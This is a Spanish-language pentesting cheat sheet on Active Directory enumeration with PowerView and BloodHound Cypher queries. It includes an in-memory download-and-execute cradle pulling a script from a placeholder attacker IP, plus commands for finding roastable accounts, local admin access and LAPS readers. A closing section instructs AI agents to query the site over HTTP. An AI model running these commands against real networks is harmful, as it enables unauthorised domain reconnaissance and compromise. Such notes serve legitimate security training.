# Enumeration

BloodHound es genial, pero **PowerView** es saber lo que haces.

## ⚔️ 1. PowerView (Running from RAM)

La herramienta reina de la enumeración manual. Cárgala en memoria siempre.

```powershell
iex(new-object net.webclient).downloadstring('http://<IP>/PowerView.ps1')
```

### Basic Domain Enum

* `Get-NetDomain`: Info básica del dominio (PDC, Forest).
* `Get-NetDomainController`: Listar DCs.
* `Get-NetPolicy`: Ver política de contraseñas (LockoutThreshold, MinLength).

### User Hunter

* `Get-NetUser | select samaccountname, description, pwdlastset`: Listar usuarios.
* `Get-NetUser -SPN`: **Kerberoastable Users** (Sin herramientas externas).
* `Get-NetUser -PreauthNotRequired`: **AS-REP Roastable Users**.

### Group & Computer Hunter

* `Get-NetGroup "Domain Admins" -FullData`: ¿Quién es el jefe?
* `Get-NetComputer -ping`: Listar máquinas vivas.
* **`Find-LocalAdminAccess`**: EL COMANDO MÁGICO. Busca máquinas donde TU usuario actual es Admin Local.

### GPO & ACLs

* `Get-NetGPO`: Listar políticas.
* `Get-ObjectAcl -Identity "Jugador" -ResolveGUIDs`: Ver quién tiene permisos sobre un usuario (WriteProperty, ResetPassword).

***

## 🩸 2. BloodHound (Cypher Queries)

Para cuando la interfaz gráfica se queda corta. (Raw Cypher Console).

### Unconstrained Delegation

Máquinas que guardan TGTs en memoria (Golden Ticket potencial).

```cypher
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
```

### Admin Count = 1

Objetos protegidos de alto valor.

```cypher
MATCH (n {admincount:true}) RETURN n
```

### Kerberoastable Admins

Usuarios con SPN que además son Admins.

```cypher
MATCH (u:User {hasspn:true})
MATCH (g:Group) WHERE g.name CONTAINS "ADMIN"
MATCH (u)-[:MemberOf*1..]->(g)
RETURN u
```

### LAPS (Local Admin Password Solution)

¿Quién puede leer la contraseña de administrador local?

```cypher
MATCH (n)-[:ReadLAPSPassword]->(c:Computer) RETURN n,c
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/10.-active-directory/enumeration.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
